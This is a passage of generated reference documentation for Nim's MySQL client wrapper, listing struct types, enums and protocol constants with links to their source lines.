para3: cuint): cint local_infile_userdata*: pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L531) ``` Status = enum STATUS_READY, STATUS_GET_RESULT, STATUS_USE_RESULT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L577) ``` Protocol_type = enum PROTOCOL_DEFAULT, PROTOCOL_TCP, PROTOCOL_SOCKET, PROTOCOL_PIPE, PROTOCOL_MEMORY ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L579) ``` Rpl_type = enum RPL_MASTER, RPL_SLAVE, RPL_ADMIN ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L584) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L584) ``` Charset_info_st {...}{.final.} = object number*: cuint primary_number*: cuint binary_number*: cuint state*: cuint csname*: cstring name*: cstring comment*: cstring tailoring*: cstring ftype*: cstring to_lower*: cstring to_upper*: cstring sort_order*: cstring contractions*: ptr int16 sort_order_big*: ptr ptr int16 tab_to_uni*: ptr int16 tab_from_uni*: pointer state_map*: cstring ident_map*: cstring strxfrm_multiply*: cuint mbminlen*: cuint mbmaxlen*: cuint min_sort_char*: int16 max_sort_char*: int16 escape_with_backslash_is_dangerous*: my_bool cset*: pointer coll*: pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L586) ``` CHARSET_INFO = Charset_info_st ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L614) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L614) ``` Pcharset_info_st = ptr Charset_info_st ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L615) ``` Pcharacter_set = ptr Character_set ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L616) ``` Character_set {...}{.final.} = object number*: cuint state*: cuint csname*: cstring name*: cstring comment*: cstring dir*: cstring mbminlen*: cuint mbmaxlen*: cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L617) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L617) ``` MY_CHARSET_INFO = Character_set ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L627) ``` PMY_CHARSET_INFO = ptr MY_CHARSET_INFO ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L628) ``` Pst_mysql_methods = ptr St_mysql_methods ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L629) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L629) ``` Pst_mysql = ptr St_mysql ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L630) ``` St_mysql {...}{.final.} = object net*: NET connector_fd*: gptr host*: cstring user*: cstring passwd*: cstring unix_socket*: cstring server_version*: cstring host_info*: cstring info*: cstring db*: cstring charset*: Pcharset_info_st fields*: PFIELD field_alloc*: MEM_ROOT affected_rows*: my_ulonglong insert_id*: my_ulonglong extra_info*: my_ulonglong thread_id*: int packet_length*: int port*: cuint client_flag*: int server_capabilities*: int protocol_version*: cuint field_count*: cuint server_status*: cuint server_language*: cuint warning_count*: cuint options*: St_mysql_options status*: Status free_me*: my_bool reconnect*: my_bool scramble*: array[0 .. 21 - 1, char] rpl_pivot*: my_bool master*: Pst_mysql next_slave*: Pst_mysql last_used_slave*: Pst_mysql last_used_con*: Pst_mysql stmts*: pointer methods*: Pst_mysql_methods thd*: pointer unbuffered_fetch_owner*: Pmy_bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L631) ``` MySQL = St_mysql ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L677) ``` PMySQL = ptr MySQL ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L678) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L678) ``` Pst_mysql_res = ptr St_mysql_res ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L679) ``` St_mysql_res {...}{.final.} = object row_count*: my_ulonglong fields*: PFIELD data*: PDATA data_cursor*: PROWS lengths*: ptr int handle*: PMySQL field_alloc*: MEM_ROOT field_count*: cuint current_field*: cuint row*: ROW current_row*: ROW eof*: my_bool unbuffered_fetch_cancelled*: my_bool methods*: Pst_mysql_methods ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L680) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L680) ``` RES = St_mysql_res ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L696) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L696) ``` PRES = ptr RES ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L697) ``` Pst_mysql_stmt = ptr St_mysql_stmt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L698) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L698) ``` PSTMT = ptr STMT ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L699) ``` St_mysql_methods {...}{.final.} = object read_query_result*: proc (MySQL: PMySQL): my_bool {...}{.cdecl.} advanced_command*: proc (MySQL: PMySQL; command: Enum_server_command; header: cstring; header_length: int; arg: cstring; arg_length: int; skip_check: my_bool): my_bool read_rows*: proc (MySQL: PMySQL; fields: PFIELD; fields_count: cuint): PDATA use_result*: proc (MySQL: PMySQL): PRES fetch_lengths*: proc (fto: ptr int; column: ROW; field_count: cuint) flush_use_result*: proc (MySQL: PMySQL) list_fields*: proc (MySQL: PMySQL): PFIELD read_prepare_result*: proc (MySQL: PMySQL; stmt: PSTMT): my_bool stmt_execute*: proc (stmt: PSTMT): cint read_binary_rows*: proc (stmt: PSTMT): cint unbuffered_fetch*: proc (MySQL: PMySQL; row: cstringArray): cint free_embedded_thd*: proc (MySQL: PMySQL) read_statistics*: proc (MySQL: PMySQL): cstring next_result*: proc (MySQL: PMySQL): my_bool read_change_user_result*: proc (MySQL: PMySQL; buff: cstring; passwd: cstring): cint read_rowsfrom_cursor*: proc (stmt: PSTMT): cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L700) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L700) ``` METHODS = St_mysql_methods ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L720) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L720) ``` PMETHODS = ptr METHODS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L721) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L721) ``` Pst_mysql_manager = ptr St_mysql_manager ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L722) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L722) ``` St_mysql_manager {...}{.final.} = object net*: NET host*: cstring user*: cstring passwd*: cstring port*: cuint free_me*: my_bool eof*: my_bool cmd_status*: cint last_errno*: cint net_buf*: cstring net_buf_pos*: cstring net_data_end*: cstring net_buf_size*: cint last_error*: array[0 .. 256 - 1, char] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L723) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L723) ``` MANAGER = St_mysql_manager ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L739) ``` PMANAGER = ptr MANAGER ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L740) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L740) ``` Pst_mysql_parameters = ptr St_mysql_parameters ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L741) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L741) ``` St_mysql_parameters {...}{.final.} = object p_max_allowed_packet*: ptr int p_net_buffer_length*: ptr int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L742) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L742) ``` PARAMETERS = St_mysql_parameters ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L746) ``` PPARAMETERS = ptr PARAMETERS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L747) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L747) ``` Enum_mysql_stmt_state = enum STMT_INIT_DONE = 1, STMT_PREPARE_DONE, STMT_EXECUTE_DONE, STMT_FETCH_DONE ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L748) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L748) ``` Pst_mysql_bind = ptr St_mysql_bind ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L750) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L750) ``` St_mysql_bind {...}{.final.} = object len*: int is_null*: Pmy_bool buffer*: pointer error*: Pmy_bool buffer_type*: Enum_field_types buffer_length*: int row_ptr*: ptr byte offset*: int length_value*: int param_number*: cuint pack_length*: cuint error_value*: my_bool is_unsigned*: my_bool long_data_used*: my_bool is_null_value*: my_bool store_param_func*: proc (net: PNET; param: Pst_mysql_bind) {...}{.cdecl.} fetch_result*: proc (para1: Pst_mysql_bind; para2: PFIELD; row: PPByte) skip_result*: proc (para1: Pst_mysql_bind; para2: PFIELD; row: PPByte) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L751) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L751) ``` BIND = St_mysql_bind ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L772) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L772) ``` PBIND = ptr BIND ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L773) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L773) ``` St_mysql_stmt {...}{.final.} = object mem_root*: MEM_ROOT mysql*: PMySQL params*: PBIND `bind`*: PBIND fields*: PFIELD result*: DATA data_cursor*: PROWS affected_rows*: my_ulonglong insert_id*: my_ulonglong read_row_func*: proc (stmt: Pst_mysql_stmt; row: PPByte): cint {...}{.cdecl.} stmt_id*: int flags*: int prefetch_rows*: int server_status*: cuint last_errno*: cuint param_count*: cuint field_count*: cuint state*: Enum_mysql_stmt_state last_error*: array[0 .. 200 - 1, char] sqlstate*: array[0 .. 6 - 1, char] send_types_to_server*: my_bool bind_param_done*: my_bool bind_result_done*: char unbuffered_fetch_cancelled*: my_bool update_max_length*: my_bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L774) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L774) ``` STMT = St_mysql_stmt ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L802) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L802) ``` Enum_stmt_attr_type = enum STMT_ATTR_UPDATE_MAX_LENGTH, STMT_ATTR_CURSOR_TYPE, STMT_ATTR_PREFETCH_ROWS ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L804) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L804) Consts ------ ``` NAME_LEN = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L42) ``` HOSTNAME_LENGTH = 60 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L43) ``` USERNAME_LENGTH = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L44) ``` SERVER_VERSION_LENGTH = 60 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L45) ``` SQLSTATE_LENGTH = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L46) ``` LOCAL_HOST = "localhost" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L47) ``` LOCAL_HOST_NAMEDPIPE = '.' ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L48) ``` NAMEDPIPE = "MySQL" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L51) ``` SERVICENAME = "MySQL" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L52) ``` SCRAMBLE_LENGTH = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L66) ``` SCRAMBLE_LENGTH_323 = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L69) ``` SCRAMBLED_PASSWORD_CHAR_LENGTH = 41 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L71) ``` SCRAMBLED_PASSWORD_CHAR_LENGTH_323 = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L72) ``` NOT_NULL_FLAG = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L73) ``` PRI_KEY_FLAG = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L74) ``` UNIQUE_KEY_FLAG = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L75) ``` MULTIPLE_KEY_FLAG = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L76) ``` BLOB_FLAG = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L77) ``` UNSIGNED_FLAG = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L78) ``` ZEROFILL_FLAG = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L79) ``` BINARY_FLAG = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L80) ``` ENUM_FLAG = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L82) ``` AUTO_INCREMENT_FLAG = 512 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L83) ``` TIMESTAMP_FLAG = 1024 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L84) ``` SET_FLAG = 2048 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L85) ``` NO_DEFAULT_VALUE_FLAG = 4096 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L86) ``` NUM_FLAG = 32768 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L87) ``` PART_KEY_FLAG = 16384 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L88) ``` GROUP_FLAG = 32768 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L89) ``` UNIQUE_FLAG = 65536 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L90) ``` BINCMP_FLAG = 131072 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L91) ``` REFRESH_GRANT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L92) ``` REFRESH_LOG = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L93) ``` REFRESH_TABLES = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L94) ``` REFRESH_HOSTS = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L95) ``` REFRESH_STATUS = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L96) ``` REFRESH_THREADS = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L97) ``` REFRESH_SLAVE = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L98) ``` REFRESH_MASTER = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L99) ``` REFRESH_READ_LOCK = 16384 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L101) ``` REFRESH_FAST = 32768 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L102) ``` REFRESH_QUERY_CACHE = 65536 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L103) ``` REFRESH_QUERY_CACHE_FREE = 0x00020000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L104) ``` REFRESH_DES_KEY_FILE = 0x00040000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L105) ``` REFRESH_USER_RESOURCES = 0x00080000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L106) ``` CLIENT_LONG_PASSWORD = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L107) ``` CLIENT_FOUND_ROWS = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L108) ``` CLIENT_LONG_FLAG = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L109) ``` CLIENT_CONNECT_WITH_DB = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L110) ``` CLIENT_NO_SCHEMA = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L111) ``` CLIENT_COMPRESS = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L112) ``` CLIENT_ODBC = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L113) ``` CLIENT_LOCAL_FILES = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L114) ``` CLIENT_IGNORE_SPACE = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L115) ``` CLIENT_PROTOCOL_41 = 512 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L116) ``` CLIENT_INTERACTIVE = 1024 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L117) ``` CLIENT_SSL = 2048 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L118) ``` CLIENT_IGNORE_SIGPIPE = 4096 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L119) ``` CLIENT_TRANSACTIONS = 8192 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L120) ``` CLIENT_RESERVED = 16384 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L121) ``` CLIENT_SECURE_CONNECTION = 32768 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L122) ``` CLIENT_MULTI_STATEMENTS = 65536 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L123) ``` CLIENT_MULTI_RESULTS = 131072 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L124) ``` CLIENT_REMEMBER_OPTIONS: int = 2147483648 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L125) ``` SERVER_STATUS_IN_TRANS = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L126) ``` SERVER_STATUS_AUTOCOMMIT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L127) ``` SERVER_STATUS_MORE_RESULTS = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L128) ``` SERVER_MORE_RESULTS_EXISTS = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L129) ``` SERVER_QUERY_NO_GOOD_INDEX_USED = 16 ``` 